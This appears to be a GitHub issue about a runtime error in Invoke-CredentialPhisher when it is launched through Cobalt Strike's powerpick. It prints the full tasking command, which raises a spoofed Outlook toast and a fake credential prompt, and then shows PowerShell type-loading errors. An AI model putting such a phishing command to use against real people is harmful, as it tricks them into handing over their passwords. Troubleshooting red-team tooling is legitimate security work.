Failure when called using Unmanaged Powershell

[qgrosperrin]

Hi,

When I ran it using powerpick in Cobalt Strike I get an ugly error:

[*] Tasked beacon to run: Invoke-CredentialPhisher -ToastTitle "Microsoft Office Outlook" -ToastMessage "Connection to Microsoft Exchange has been lost.`r`nClick here to restore the connection" -Application "Outlook" -credBoxTitle "Microsoft Outlook" -credBoxMessage "Enter password for user '{emailaddress|samaccountname}'" -ToastType "Application" -HideProcesses (unmanaged)
[+] host called home, sent: 10 bytes
[+] host called home, sent: 133705 bytes
[+] received output:
ERROR: Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsR
ERROR: untime : Unable to find type [Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notific
ERROR: ations, ContentType = WindowsRuntime]: make sure that the assembly containing this type is loaded.
ERROR: 
ERROR: At line:413 char:122
ERROR: +         [void][Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, Conte
ERROR: ntType = WindowsRuntime] <<<< 
ERROR:     + CategoryInfo          : InvalidOperation: (Windows.UI.Noti... WindowsRuntime:String) [], Run 
ERROR:    timeException
ERROR:     + FullyQualifiedErrorId : TypeNotFound
ERROR:  
ERROR: Windows.Data.Xml.Dom.XmlDocument, Windows.Data.Xml.Dom, ContentType = WindowsRuntime : Unable to fi
ERROR: nd type [Windows.Data.Xml.Dom.XmlDocument, Windows.Data.Xml.Dom, ContentType = WindowsRuntime]: mak
ERROR: e sure that the assembly containing this type is loaded.
ERROR: 
ERROR: At line:414 char:101
ERROR: +         [void][Windows.Data.Xml.Dom.XmlDocument, Windows.Data.Xml.Dom, ContentType = WindowsRunti
ERROR: me] <<<< 
ERROR:     + CategoryInfo          : InvalidOperation: (Windows.Data.Xm... WindowsRuntime:String) [], Run 
ERROR:    timeException
ERROR:     + FullyQualifiedErrorId : TypeNotFound

snipped...

I don't get that error when launching using powershell, but obviously I don't want to do that for OPSEC reasons.

Any ideas why that is happening ?
Target computer is Win10 RS4 (1803)